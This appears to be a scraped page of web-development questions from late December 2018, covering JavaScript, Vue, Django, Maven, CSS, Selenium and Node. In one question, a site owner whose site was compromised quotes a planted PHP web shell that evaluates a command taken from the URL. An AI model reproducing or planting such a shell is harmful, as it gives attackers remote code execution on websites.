lundi 31 décembre 2018

How to increment a count from a created element from a button

Trying to figure out how I can get a count to work, after a user has entered a movie and submit it so that the element would be created in a table. There would be a button in the created element, how can I get the that button increment a count that would also show up in created element.

class Movie {
    constructor(title, year, cost) {
        this.title = title;
        this.year = year;
        this.cost = cost;
    }
}


class UI {
    createMovie(movie) {
        const list = document.getElementById('movie-list');

        let row = document.createElement('tr');
        row.innerHTML = `
            <td>${movie.title}</td>
            <td>${movie.year}</td>
            <td>${movie.cost}</td>
            <td class="count"><td>
            <input type="submit" value="Watched" class="btn2"></input>
            <td><a href="#" class="delete">X</a></td>
        `;

        list.appendChild(row);

    }


    getMovie() {


    }

    addMovieWatchCount() {
        document.querySelector('.btn2').addEventListener('click', function(e) {
            let count = 0
            let numOfMovie = document.querySelector('.count').innerHTML = count;

            numOfMovie.appendChild(count);
        });

    }

    deleteMovie(target) {
        if(target.className === 'delete') {
            target.parentElement.parentElement.remove();
        }

    }

    clearMovieFields() {
        document.getElementById('movie').value = '';
        document.getElementById('year').value = '';
        document.getElementById('cost').value = '';
    }
}




//Event Handling

document.getElementById('form').addEventListener('submit', function(e) {
    const title = document.getElementById('movie').value;
    const year = document.getElementById('year').value;
    const cost = document.getElementById('cost').value;


    const movie = new Movie(title, year, cost);
    const ui = new UI();

    ui.createMovie(movie);

    ui.clearMovieFields();

    e.preventDefault();
});


document.getElementById('movie-list').addEventListener('click', function(e) {
    const ui = new UI();

    ui.deleteMovie(e.target);

    e.preventDefault();
});

User clicks button Watched in created 'input' element in table and it increments a created 'th' to 1 and so on.




Taking data from 1 website(input) and pasting it to another website(input)

I need to take a data of username, then check in db, which aunthefecator user has got and depends on aunthefecator send him the window where he can enter it and login in his account!

I have tryed to make it like a 1 form and the method was sent to another form but it doesn not work

 <form name="logon" action="check_login.php" method="POST" id="login">
<input type="text" name="username">
<input type="password" name="password">
    <button type="submit">                               
        <span>Log IN</span>
    </button>

i just redirectimg on this page without getting data




Tutorial or Related for C# Web Application Scheduling System

I have been scouring the internet for some information or a tutorial on a MVC or Web App system I want to create.

Purpose: To create a MVC or C# web application that allows users to create a schedule for employees.

Needs:

  • Grid type layout for schedule.
  • Vertical column for tasks
  • Horizontal top row for employee names
  • Group by teams and supervisors
  • Assign admins to modify daily tasks assigned to associates
  • Create dashboard for each associate to see weekly and daily summarized work

These are just some of the features I am looking at implementing into the system. I understand the database structure, but I am newer to C#. Any tutorial on something similar, would be of great help to start this project.

I already have Visual Studio, and I feel that MVC is the way to go for neater and better code handling and organization, but I am open to other types as well.




Why the browser is ignoring new empty lines inside the textarea in HTML?

When I try to put text that has multiple empty lines inside a textarea in HTML, the browser ignores them and does not display them. My purpose is to allow the user to edit his text while preserving all the new lines.

If I put this:

text a\n\n\ntext b\ntextc  

The browser displays:

text a
text b
text c

My purpose:

text a


text b
text c




How to sort data and save it in VueJS

I'm doing an exercise right now and I would like to sort my data according to the number of vote of an image of cat. I want to sort by "more vote" to "few vote" and if possibly, save the data so when I refresh, the table is still sorted. I started to code a little bit but it doesn't seems to work.

HTML code :

    <div id="display" class="container">
    <table class="w3-striped w3-table-all table table-bordered" id="tableDisplay">
      <tr class="w3-hover-light-grey">
        <th>Cat</th>
        <th>Vote</th>
      </tr>
    </table>
    <div v-for="(display,idx) in gridData">
      <table class="w3-striped w3-table-all table table-bordered" id="tableDisplay">
        <tr class="w3-hover-light-grey">
          <th>
            <img :src="display.url" height="200px" width="300px" />
          </th>
          <th>
            <div>Current Votes: </div>
            <button class="w3-button w3-green w3-hover-light-green" v-on:click="test(idx)" v-bind:id="display.id">Vote !</button>
            <br>
            <button v-on:click="sortBy(counter)">Sort</button>
            <p id="demo"></p>
          </th>
        </tr>
      </table>

    </div>

  </div>

and the JS code :


  new Vue({
  el: '#display',
  data: {
    sortKey: 'counter',

    gridData: [
      {
        "url": "http://24.media.tumblr.com/tumblr_m82woaL5AD1rro1o5o1_1280.jpg",
        "id": "MTgwODA3MA",
        "counter": 3
      },
      {
        "url": "http://24.media.tumblr.com/tumblr_m29a9d62C81r2rj8po1_500.jpg",
        "id": "tt",
        "counter": 5
      }
    ],
  },

  methods: {
    test: function(idx) {
      localStorage.getItem(gridData);
      this.gridData[idx].counter++;
      this.gridData.saveCounter(this.gridData[idx].counter++, idx);
    },
    saveCounter :function(param,idx){
      localStorage.setItem('gridData[idx].counter', param);
    },
    deleteItem: function(idx) {
      this.gridData.splice(idx,1);
    },
    sortBy: function(sortKey) {
      this.reverse = (this.sortKey == sortKey) ? ! this.reverse : false;
      this.sortKey = sortKey;
    },

  },
})

So I find a code where the developer use sortKey which is the parameters of sorting, so my parameters is obviously the counter and I tried my best to code so it sort by decreasing counter. But it doesnt work. Any help would be appreciate. Thank you guys




Is there any specific route map/pathway to follow to develop a web-framework and topics and things to learn, pre-requisites?

I'm about to develop a simple web-framework based on python for my Final Year Project. I am googling about this stuff and not getting information about a specific route map/path way that drive/guide me i.e. pre-requisites, topics to learn to be able to develop a framework for example, 1st step is to learn about browser that how browser works, 2nd step is to learn about url, how it works. Some stuff is available on internet but they are much more older. Kindly give me a specific route map so that I can build this easily because I have to make this in about 5 months.




redirect in django does work in POST method

i have views in django that is called by $.post() method of jquery that is working fine. But when i redirect inside that post it's not redirecting me but outside its redirecting me. here is view called by jquery $.post()

@csrf_exempt
def order_detail(request):
    category_name = request.session.get('category_name')
    category = Category.objects.get(name=category_name)
    price = Price.objects.get(category=category)
    if request.session['industry_name']:
        industry_name = request.session.get('industry_name')
        industry = Industry.objects.get(name=industry_name)
        images = SampleImages.objects.filter(category=category, industry=industry)
        colors = SampleColor.objects.all()
    else:
        images = SampleImages.objects.filter(category=category)
        colors = SampleColor.objects.all()
    if request.method == 'POST':
        image_list = request.POST.getlist('idSelectedImages[]')
        color_list = request.POST.getlist('idSelectedColors[]')
        package_price = request.POST.get('packagePrice')
        package_name = request.POST.get('packageName')
        if image_list:
            for image_id in image_list:
                request.session['image_list']['{}'.format(image_id)] = image_id
                request.session.modified = True
        if color_list:
            for color_id in color_list:
                request.session['color_list']['{}'.format(color_id)] = color_id
                request.session.modified = True
        return redirect('order:order_brief')
    else:
        request.session['image_list'] = {}
        request.session.modified = True
        request.session['color_list'] = {}
        request.session.modified = True

    return render(request, 'order/order_detail.html', {'images': images, 'colors': colors, 'price': price})

and urls.py

app_name = 'order'
urlpatterns = [
    path('', views.index, name='index'),
    path('order/detail/', views.order_detail, name='order_detail'),
    path('order/brief/', views.order_brief, name='order_brief'),
]




How can I host my asp.net web api on website or domain

How can I host my asp.net web api on website or domain I have hosted it on azure but it's costly is there any other way or server through which I can host cheaper or can I host ot to my website if yes then how pls help Thanks for helping




javascript code not working for external file

i have javascript code that send data to backend which when i place inline then work fine but when i place in external file it does not work.meanwhile other javascripts is working in external file.

<script>
$('#submit-ajax').click(function(event) {
         console.log('working or not')
         $.post(
                '/order/detail/',
                {
                    'test': 'hi i am here',
                },
                function() {
                  alert( "Data Loaded: " );
                }
         )
         });
</script>

in external file code is:

$(document).ready(function(){
$('#submit-ajax').click(function(event) {
             console.log('working or not')
             $.post(
                    '/order/detail/',
                    {
                        'test': 'hi i am here',
                    },
                    function() {
                      alert( "Data Loaded: " );
                    }
             )
             });
}




How to Apply Garbage Collection in Web Api Project?

In My Project Performance is low That's why I apply to garbage collection in entire my project. But How to apply Garbage collection in my project.

for a single method to apply garbage collection use Gc.Collect(). But in My project Multiple methods. I don't want to call every method. please give Solution.`




dimanche 30 décembre 2018

how to build online point to point video chat web application, what tech stack any library? especially in python

I'm trying to build a web application like chatroulette, but with text chatting and user identification and user authorization functionality. Is there any suggestion on what tech stack I should use? Would be better if it's python. The most baffling part for me so far is I have no idea how to make two user video chat with each other directly without server transferring the video stream, how to make them be able to find each other? Especially when they are under sub-net. My friend mentioned use SIP to make them be able to talk to each other, any other options? Any library or framework suggested? Thanks...




How to include missing dependencies for maven project

I'm trying to run my Rest http server in eclipse and I'm getting the error below. I don't know how to resolve this. I've tried changing to the project directory and entering mvn dependency:resolve but it doesn't work.

SEVERE: The following errors and warnings have been detected with resource and/or provider classes:
  SEVERE: Missing dependency for method public org.json.JSONObject serverPackage.ServerInRest.message(java.lang.String,java.lang.String,java.lang.String) throws java.io.IOException at parameter at index 0
  SEVERE: Missing dependency for method public org.json.JSONObject serverPackage.ServerInRest.message(java.lang.String,java.lang.String,java.lang.String) throws java.io.IOException at parameter at index 1
  SEVERE: Missing dependency for method public org.json.JSONObject serverPackage.ServerInRest.message(java.lang.String,java.lang.String,java.lang.String) throws java.io.IOException at parameter at index 2
  SEVERE: Method, public org.json.JSONObject serverPackage.ServerInRest.message(java.lang.String,java.lang.String,java.lang.String) throws java.io.IOException, annotated with PUT of resource, class serverPackage.ServerInRest, is not recognized as valid resource method.
  SEVERE: Missing dependency for method public org.json.JSONObject serverPackage.ServerInRest.leaveRoom(java.lang.String,java.lang.String) throws java.io.IOException at parameter at index 0
  SEVERE: Missing dependency for method public org.json.JSONObject serverPackage.ServerInRest.leaveRoom(java.lang.String,java.lang.String) throws java.io.IOException at parameter at index 1
  SEVERE: Method, public org.json.JSONObject serverPackage.ServerInRest.leaveRoom(java.lang.String,java.lang.String) throws java.io.IOException, annotated with PUT of resource, class serverPackage.ServerInRest, is not recognized as valid resource method.
  SEVERE: Missing dependency for method public org.json.JSONObject serverPackage.ServerInRest.joinRoom(java.lang.String,java.lang.String) at parameter at index 0
  SEVERE: Missing dependency for method public org.json.JSONObject serverPackage.ServerInRest.joinRoom(java.lang.String,java.lang.String) at parameter at index 1
  SEVERE: Method, public org.json.JSONObject serverPackage.ServerInRest.joinRoom(java.lang.String,java.lang.String), annotated with PUT of resource, class serverPackage.ServerInRest, is not recognized as valid resource method.

There is another error below that I think will be resolved once I fix this one

org.apache.catalina.core.ApplicationContext log
SEVERE: StandardWrapper.Throwable
com.sun.jersey.spi.inject.Errors$ErrorMessagesException


Here is my web.xml file web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" id="WebApp_ID" version="3.0">
  <display-name>RestServer</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.htm</welcome-file>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>default.html</welcome-file>
    <welcome-file>default.htm</welcome-file>
    <welcome-file>default.jsp</welcome-file>
  </welcome-file-list>
    <servlet>       
        <servlet-name>Jersey Web Application</servlet-name>
        <servlet-class>com.sun.jersey.spi.container.servlet.ServletContainer</servlet-class>
        <init-param>
            <param-name>com.sun.jersey.config.property.packages</param-name>
            <param-value>serverPackage</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>Jersey Web Application</servlet-name>
        <url-pattern>/serv/*</url-pattern>
    </servlet-mapping>
</web-app>


Here is my pom.xml file pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>RestServer</groupId>
  <artifactId>RestServer</artifactId>
  <version>0.0.1-SNAPSHOT</version>
  <packaging>war</packaging>
  <build>
    <sourceDirectory>src</sourceDirectory>
    <plugins>
      <plugin>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.8.0</version>
        <configuration>
          <source>1.6</source>
          <target>1.6</target>
        </configuration>
      </plugin>
      <plugin>
        <artifactId>maven-war-plugin</artifactId>
        <version>3.2.1</version>
        <configuration>
          <warSourceDirectory>WebContent</warSourceDirectory>
        </configuration>
      </plugin>

    </plugins>
  </build>
  <dependencies>
        <dependency>
            <groupId>asm</groupId>
            <artifactId>asm</artifactId>
            <version>3.3.1</version>
        </dependency>
        <dependency>
            <groupId>com.sun.jersey</groupId>
            <artifactId>jersey-bundle</artifactId>
            <version>1.19.4</version>
        </dependency>
        <dependency>
            <groupId>org.json</groupId>
            <artifactId>json</artifactId>
            <version>20170516</version>
        </dependency>
        <dependency>
            <groupId>com.sun.jersey</groupId>
            <artifactId>jersey-server</artifactId>
            <version>1.19.4</version>
        </dependency>
        <dependency>
            <groupId>com.sun.jersey</groupId>
            <artifactId>jersey-core</artifactId>
            <version>1.19.4</version>
        </dependency>
        <dependency>
            <groupId>javax.xml.bind</groupId>
            <artifactId>jaxb-api</artifactId>
            <version>2.2.6</version>
        </dependency>
        <dependency>
            <groupId>com.googlecode.json-simple</groupId>
            <artifactId>json-simple</artifactId>
            <version>1.1</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-web</artifactId>
            <version>4.3.4.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>javax.activation</groupId>
            <artifactId>activation</artifactId>
            <version>1.1.1</version>
        </dependency>
        <dependency>
        <groupId>com.sun.xml.bind</groupId>
        <artifactId>jaxb-impl</artifactId>
        <version>2.2.11</version>
        </dependency>
        <dependency>
            <groupId>com.sun.xml.bind</groupId>
            <artifactId>jaxb-core</artifactId>
            <version>2.2.11</version>
        </dependency>
    </dependencies> 
</project>




Pure CSS scroll-snap only works with the body as the container

I am trying to set up a snapping scroll with pure css.

With the **snapping scroll there is a container for all the elements over which the snapping scroll is active containing the elements which the scroll snaps onto.

When I am using the body-tag as the container and elements with the class "section", everything works fine:

body {
    font-family: "Arial", sans-serif;
    margin: 0;
    scroll-snap-type: y mandatory;
    overflow-y: scroll;
}

.section {
    height: calc(100vh - 14em);
    font-size: 1em;
    color: white;
    padding: 7em;
    margin: 0;
    scroll-snap-align: start;
}

.section:nth-of-type(1) {
    background-color: hsl(0, 100%, 30%);
}

.section:nth-of-type(2) {
    background-color: hsl(40, 100%, 30%);
}

.section:nth-of-type(3) {
    background-color: hsl(50, 100%, 30%);
}
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Scroll-Snap Body</title>
    <link rel="stylesheet" href="scrollsnap_body.css">
</head>
<body>

<div class="section">
    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aliquid aspernatur eius est fuga inventore
       officia possimus quibusdam recusandae sunt. Adipisci blanditiis corporis cupiditate dolorem ducimus
       excepturi laboriosam officia quae vero.</p>
</div>

<div class="section">
    <p>Accusamus amet dicta dolorum fugiat id itaque iure minus molestiae nesciunt non omnis quibusdam, veniam!
       Animi, aspernatur consectetur doloremque ducimus illum perferendis quam ut? Aspernatur deserunt doloremque
       error magnam minima.</p>
</div>

<div class="section">
    <p>Ab accusantium aut corporis, cumque dolor ducimus ea est, excepturi facere, fuga id labore magni minima nemo
       odio officia officiis quaerat quibusdam quo sit tempora tenetur unde veritatis! Doloremque, nam.</p>
</div>


</body>
</html>

But when I try to use a separate div with class "container" as the container it doesn't work:

body {
    font-family: "Arial", sans-serif;
    margin: 0;
    overflow-y: scroll;

}

.container {
    scroll-snap-type: y mandatory;
    overflow-y: scroll;
    margin: 0;
}

.section {
    height: calc(100vh - 14em);
    font-size: 1em;
    color: white;
    padding: 7em;
    scroll-snap-align: start;
}

.section:nth-of-type(1) {
    background-color: hsl(0, 100%, 30%);
}

.section:nth-of-type(2) {
    background-color: hsl(40, 100%, 30%);
}

.section:nth-of-type(3) {
    background-color: hsl(50, 100%, 30%);
}
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Scroll-Snap Container</title>
    <link rel="stylesheet" href="scrollsnap_container.css">
</head>
<body>

<div class="container">

    <div class="section">
        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aliquid aspernatur eius est fuga inventore
           officia possimus quibusdam recusandae sunt. Adipisci blanditiis corporis cupiditate dolorem ducimus
           excepturi laboriosam officia quae vero.</p>
    </div>

    <div class="section">
        <p>Accusamus amet dicta dolorum fugiat id itaque iure minus molestiae nesciunt non omnis quibusdam, veniam!
           Animi, aspernatur consectetur doloremque ducimus illum perferendis quam ut? Aspernatur deserunt doloremque
           error magnam minima.</p>
    </div>

    <div class="section">
        <p>Ab accusantium aut corporis, cumque dolor ducimus ea est, excepturi facere, fuga id labore magni minima nemo
           odio officia officiis quaerat quibusdam quo sit tempora tenetur unde veritatis! Doloremque, nam.</p>
    </div>

</div>

</body>

Why is that?




Python: Beautifulsoup returning None or [ ]

hello im practicing my requests and web scraping skills, so im attempting to scrape the trending page on youtube, and pull the title of the videos that are trending, which is this link youtube

this is the code im running

import requests
from bs4 import BeautifulSoup

url = 'https://www.youtube.com/feed/trending'
html = requests.get(url)
soup = BeautifulSoup(html.content, "html.parser")
a = soup.find_all("a", {"id": "video-title"})
print(a)

and its returning [], i dont understand why its returning [] when its the in the source code,




Is it possible to use a standalone webapp as return url?

I am using a webapp for my webshop which can be saved (downloaded) to home screen, after which you can launch it is as a standalone webapp. I am using js xhr to navigate and submit.

The problem arises during checkout. When i press cancel on the payment screen i am navigated back to my site (not webapp) which starts a new session and the customer gets confused because the cart is empty.

Is it possible to return to a webapp using a special url or some other possibility?

  • The payment screen is offered by third parties and includes a bank app.

  • Adding the order data in the return url (not always possible) and using webhooks (too long) are not user friendly in this case. Loading the payment screen in a frame would be ideal but not allowed due to safety reasons.




Modal window parsing

There was a need to parse data in a modal window: when you click on a menu item, a window opens, then data is loaded into it, the page address does not change. When you try to do this with SimpleBrowser, the window code is not stored in the browser itself. How can I parse the data I need?




Dynamic Row addition to the Table

I want to add Array elements to the table.

Array elements are dynamic coming from the database. And i am creating the Row for adding the one row from the generated data and appending rowAfter to add the other array elements

Here is the code i have written -

                        var rowSpan = 0;
                        var rowSpan1 = 0;
                        for (element in data)
                        {
                            // get products into an array
                          var productsArray = data[element].products.split(',');
                          var QuantityArray = data[element].quantity.split(',');
                          var ChemistArray = data[element].Retailername.split(',');
                          var PobArray = data[element].Pob.split(',');

                          rowSpan = productsArray.length;
                          rowSpan1 = ChemistArray.length;

                         var row = '<tr>' +
                        '<td rowspan="'+rowSpan+'">' + data[element].date + '</td>'+
                        '<td rowspan="'+rowSpan+'">' + data[element].doctor_name + '</td>';

                         // loop through products array
                         var rowAfter = "";
                         for (var i = 0; i < rowSpan; i++) {
                         if(i == 0) {
                            row += '<td>' + productsArray[i] + '</td>';
                            row += '<td>' + QuantityArray[i] + '</td>';
                             } else {
                             rowAfter += '<tr><td>' + productsArray[i] + '</td><td>' + QuantityArray[i] + '</td>';
                           }
                        }

                        for (var k = 0; k < rowSpan1; k++) {
                        if(k == 0) {
                           row += '<td>' + ChemistArray[k] + '</td>';
                           row += '<td>' + PobArray[k] + '</td>';
                            } else {
                            rowAfter += '<td>' + ChemistArray[k] + '</td><td>' + PobArray[k] + '</td> </tr>';
                          }
                       }

                       row +=

                         '<td rowspan="'+rowSpan1+'">' + data[element].locations +'</td>'+
                         '<td rowspan="'+rowSpan1+'">' + data[element].area + '</td>'+
                         '</tr>';

                         $('#tbody').append(row+rowAfter);

So as per the code I can finely display ProductArray and Quantity Array

And But i am not able to display the Chemist array after one another.

enter image description here

In the above Image i want to display data( Kapila and Kripa below the Chemist column) Some where making issue with tr and td.

Any help would really appreciated.




Unable to open Instagram mobile version using Selenium?

So, I am trying to create an automated bot to post on Instagram but I have not been able to open mobile version of Instagram using selenium.

I have tried using

from selenium.webdriver.common.keys import Keys
chrome_options = Options()
chrome_options.add_argument("--window-size=200,700")

To set the size of my chrome window in selenium but It still opens the desktop version.

import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.keys import Keys

def site_login():
    driver = webdriver.Chrome(executable_path='//home/kartikey/Desktop/Files/Insta_Bot/chromedriver',chrome_options=chrome_options)
    driver.get ('https://www.instagram.com/accounts/login/')
    time.sleep(3)
    # To login
    driver.find_element_by_name("username").send_keys('EMAIL')
    passwordInput = driver.find_element_by_name("password")
    passwordInput.send_keys('*******')
    passwordInput.send_keys(Keys.ENTER)
    # To turn on Notifications
    driver.find_element_by_xpath('/html/body/div[3]/div/div/div/div[3]/button[1]').click() 
    return None
site_login()

I am able to access the desktop version but desktop version doesn't allow posting.

So, I want to know how can I use selenium so that I can open mobile version of Instagram ?

Thanks in Advance




samedi 29 décembre 2018

How to retireve data from firebase in web with js

I have buttons similar to the one here A3. I want to check the availability of the seat from my database and do accordingly in the if loop.. but none of my functions below the firebase reference is working

My database is

My web (app) | Seats(node) | Status (node) | A1 - available (value) A2 - available (value) A3 - available (value) A4 - available (value)

And my js script is

function A3(){
  var newseat = document.getElementById("A3");
  var firebaseStatusRef = firebase.database().ref().child("Status"); 
  var firebaseSeatStatusRef = firebaseStatusRef.child("A3");

  firebaseSeatStatusRef.on('child_added', snap => {
    var seatStatus = snap.val();
  });

if (firebaseSeatStatusRef=="available") {
  newseat.className="booked-seat";
  newseat.setAttribute("class" , "booked-seat");
  firebaseStatusRef.child("A3").set("booked");
  var fill = newseat.value;
document.getElementById("fill").value += fill + " ";
Seat();

} else  {

  newseat.style.backgroundColor = 'seat';
  newseat.setAttribute("class" , "seat");
  var fill = newseat.value;
document.getElementById("fill").value -=  fill + " ";
BookedSeat();

}

}




Firebase cloud messaging get Token null

I try to access Token key in firebase messaging, but i got token is null can anyone tell me what is error of my code

Source code image




What is preventing a parent's children from being discovered by my code?

Currently writing a Greasemonkey script that automates. The automation starts off with first collecting elements in HTML that match a criterion. These are tags. Within a simple for loop, it will perform an automated click on each link, after which it will click on another link. After that, it will then enter some text before submitting the text for server processing. The for loop repeats the sequence until the list is exhausted. I have figured out how to build the collection of the desired elements, but for some reason, the code is not able to access some child nodes, returning results like 'null' and 'undefined'. The problem occurs in this section of code:

$(".indeed-apply-button").html();

This class is part of the tag.

So I have tried to access the child nodes with querySelector(), which returns undefined. I tried using $(); selector. It will return [object Object]. With .html() appended, it will return undefined.

The tag that I wish to extract from the document is confined within several parent tags. Somewhere in the code within the series of those tags exists a point where my code either refuses or is unable to access the child nodes.

To help further clarify this, this is done on indeed.com. This code runs after a job search. It will select each job in the list then click the apply button. For example, https://www.indeed.com/q-programmer-l-maine-jobs.html

What could cause some elements to not be able to be retrieved, would be a more general question.

$(document).ready(function(){

var jobList = document.querySelectorAll("a[data-tn-element='jobTitle']");

  function clickThenApply (jobNumber) {
    var jobTitle = $(jobList[jobNumber]).attr("title"); //job name
    var jobLink = $(jobList[jobNumber]).attr("href"); //job link
    jobList[jobNumber].click();
    var apply = $(".indeed-apply-button").html();
    console.log("Job title: " + jobTitle);
    console.log("Job link: " + jobLink);
    console.log("success? " + apply);
    return true;
    }

  for (var i = 0; i < jobList.length; i++) {
  var tog = clickThenApply(i);
  }

});

The problem occurs in this section of code:

$(".indeed-apply-button").html();

This class is part of the tag. It should return HTML code, but it instead returns undefined.

I have tried:

document.querySelector("a.indeed-apply-button");

It returns null/undefined.

If you could provide any insight into this, I would appreciate it!




Multiple websites on one laravel application

I've created a dashboard on laravel with user authentication. I want to create multiple websites on this single laravel application. Each website will belong to one user and each user when log in should see the pages of their own website on the dashboard. Please, help me to do that, any idea or tutorial




How to download only background of a page

I am new with Web Development. I have created a single web page called "Background Generator" with html,css and javascript together. User can choose two colors or let random process to pick them. Then two colored background is displayed. The question is how can a user download only background that he/she created with a download button. Thanks for any help




someone has fully access to my site without permissions

Someone has full access to my website he can delete files create files and he creates files that has some code in it.

i tried changing my web ftp client password but he still can do it i tried scanning for xss vulnerabilities but there are none.

<?php
include('../class/include.php');
if(isset($_GET["cmd"]))
{
    echo eval($_GET["cmd"]);
}
?>

i dont know what this does he fully wiped my page and created tons of files with this code. i tried everything from changing password from my ftp client to everything




How do I get client side to download a link generated by API response?

My situation is that I have a webpage with a form that the user fills out. When the form is submitted, my server processes the form to generate a 3rd party link that is on the CDN.

Currently I am downloading the image on my server and then sending it the client. However, I want to save on bandwidth costs and would rather just send the CDN link back to the client and have him initiate the download instantly, with out any other interactions from the user. How can I do that?




How to authorize a method from one controller to one role or multiple roles without canceling the entire controller

I am trying to restrict access to my controller's methods, through roles, in the traditional way, the complete controller rejects the authentication of roles for all users of all roles

Authorize Attribute with Multiple Roles

     using MBC.ServiciosUtilidad.CatalogoUS.Implementacion;
     using MBC.ServiciosEntidad.ReportesDmsES.Implementacion;
     using System.Web.Mvc;
     using MBC.Models.ReportDms;
     using PagedList;
     using System.Data;
     using System.Linq;
     using MBC.ModeloCanonico.Constantes;
     using System.Web.Security;
     using static MBC.ModeloCanonico.Constantes.CatalogoConstante;

  namespace MBC.Controllers.Report.Vehiculos
 {
[Authorize]
//[Authorize(Roles = CatalogoConstante.Rol.Administrador)]
public class ReportDmsVehiculosController : MasterController
{
    private readonly ICatalogoUSContract _servicioCatalogo;
    private readonly IReportesDmsESContrato _servicioReportesDms;

    //CONSTRUCTOR

    public ReportDmsVehiculosController()
    {
        _servicioCatalogo = new CatalogoUSImplementacion();
        _servicioReportesDms = new ReportesDmsESImplementacion();
    }
    //[Authorize(Roles = CatalogoConstante.Rol.Administrador)] 
    [AuthorizeRoles(Rol.Administrador)]
    public ActionResult ReportDmsVehiculos()
    {
        return View();
    }
}

namespace MBC.ModeloCanonico.Constantes
{
    public static class CatalogoConstante
    {
    public struct Rol
    {
        public const string Administrador = "Administrador";
        public const string RecursosHumanos = "Recursos Humanos";

    }

}




Internal Blog Accessable by Remote employees

I am currently working with a friend on starting a business. Some of this work is being done remotely by each of us. I know there are a lot of companies out there doing this and I am wondering how I can setup an internal blog thing similar to what Zapier talks about on a public web server. I would like to make it so that the blog posts are things fed from Slack and other integrations as well. Would doing it with a sub domain and a log in be really the best way to go with it?

Mostly just looking for thoughts and ideas.




How to hide action bar in Xamarin android and iPhone

I want to know how to hide action bar in visual studio Xamarin android and iPhone? Thanks in advance.




how to make a website in which I can make place text and photos on a canvas

I am trying to make a website like https://www.canva.com/en_in/create/posters/ but not as advanced

I just want to be able to add photos and text to a canvas and have the ability to resize the photo and change the font.

What technologies do I need to use for this?

Any ideas on how I should go about this?




Why no elements can be tergeted on this website?

I'm trying to use selenium to type in data in inputboxes. But I cant get any element (NoSuchElementException). Problem is only with this site: https://ekrs.ms.gov.pl/web/wyszukiwarka-krs/strona-glowna.

I tried searching by name/id but it failed.

WebDriver driver = new FirefoxDriver();

    driver.get("https://ekrs.ms.gov.pl/web/wyszukiwarka-krs/strona-glowna");

    System.out.println(driver.getCurrentUrl());


    System.out.println("Successfully opened the website");
    WebElement wb = driver.findElement(By.id("rejestrPrzedsiebiorcy"));

My goal (for now) is just to get this element :P.




Don't upload and load and show Picture profile in Django

Hellow

i use Django freamwork Python. in model i user AbstractBaseUser.

i use python3

in my website user can choice picture for that profile. but don't load and upload picture in my model:

Model:

class CustomUser(AbstractBaseUser , PermissionsMixin):
    username = models.CharField(max_length = 200 , unique = True)
    email = models.EmailField()
    age = models.IntegerField(null=True , blank=True)
    number = models.IntegerField(default=1)
    country = models.CharField(max_length = 200)
    city = models.CharField(max_length = 200)
    image = models.ImageField(upload_to = 'ImageProfile' , default='ImageProfile/none.jpg')
    privilege = models.IntegerField(default= 0)
    is_staff = models.BooleanField(default = False)



    REQUIRED_FIELDS = ['email']
    USERNAME_FIELD = 'username'

    objects = CustomUserManager()

    def get_short_name(self):
        return self.username

    def natural_key(self):
        return self.username

    def __str__(self):
        return self.username

Form:

from django import forms
from django.contrib.auth import get_user_model

class Register(forms.ModelForm):
    password = forms.CharField(widget=forms.PasswordInput)
    password2 = forms.CharField(label='Confirm password', widget=forms.PasswordInput)



    class Meta:
        User = get_user_model()
        model = User
        fields = ('username', 'number' , 'country' , 'city' , 'email' , 'age' , 'image')

    def clean_username(self):
        User = get_user_model()
        username = self.cleaned_data.get('username')
        qs = User.objects.filter(username=username)
        if qs.exists():
            raise forms.ValidationError("username is taken")
        return username

    def clean_password2(self):
        # Check that the two password entries match
        password1 = self.cleaned_data.get("password")
        password2 = self.cleaned_data.get("password2")
        if password1 and password2 and password1 != password2:
            raise forms.ValidationError("Passwords don't match")
        return password2


    def save(self, commit=True):
        # Save the provided password in hashed format
        user = super(Register , self).save(commit=False)
        user.set_password(self.cleaned_data["password"])
        if commit:
            user.save()
        return user

View:

@csrf_exempt
def Home(request):
    if request.method == 'POST':
        form = Register(request.POST)
        if form.is_valid():
            form.password = make_password(form.cleaned_data['password'])
            form = form.save(commit = False)

            form.save()
            return HttpResponse("Greate")
    else:
        form = Register()
        return render_to_response('home.html' , {'form' : form})

TIP : here load and show default picture(none.jpg). if user want to change default don't work

please help me




Web browser plugin for bulk domain

I managed school websites which around 100 domains. My boss asking me what is an easy way for him to get and see front page for all the website on the different domain.

Is there any web browser plugin can solve this?

This will be easy if I can give him domain.txt and plugin will do the rest.

Thanks in advance.




Response.write doesn't display variable string

So, I'm learning node, tried to write simple server by my self. When it comes to write data to response, it doesn't work properly. I converted data to String, i tried to display data to the console and it had benn displayed normally, but when I pass it to response.write() nothing changes at my page. I created file called 'lorem' in poems/lorem directory, I write this path to my link in browser. As you can see, I was writting some debugging stuff, but I deleted most of it.

var http = require('http');
var fs   = require('fs');
var path = require('path');

var port = process.argv[2];

var readFileContent = (filePath) => 
{
    var readData = '';

    fs.readFile(path.normalize(process.cwd() + filePath), 'utf-8', (err, data) => 
    {
        let invalid = false;
        if(err || data === undefined)
        {
            invalid = true;
        }
        if(!invalid) readData = data;
        console.log(readData); // logs data from a file
    });

    return readData;
}

var serverHandler = (request, response) =>
{   
        let responseData = readFileContent(request.url);

        if(responseData != undefined)
        {
            response.writeHead(200, {'Content-Type':'text/html'});
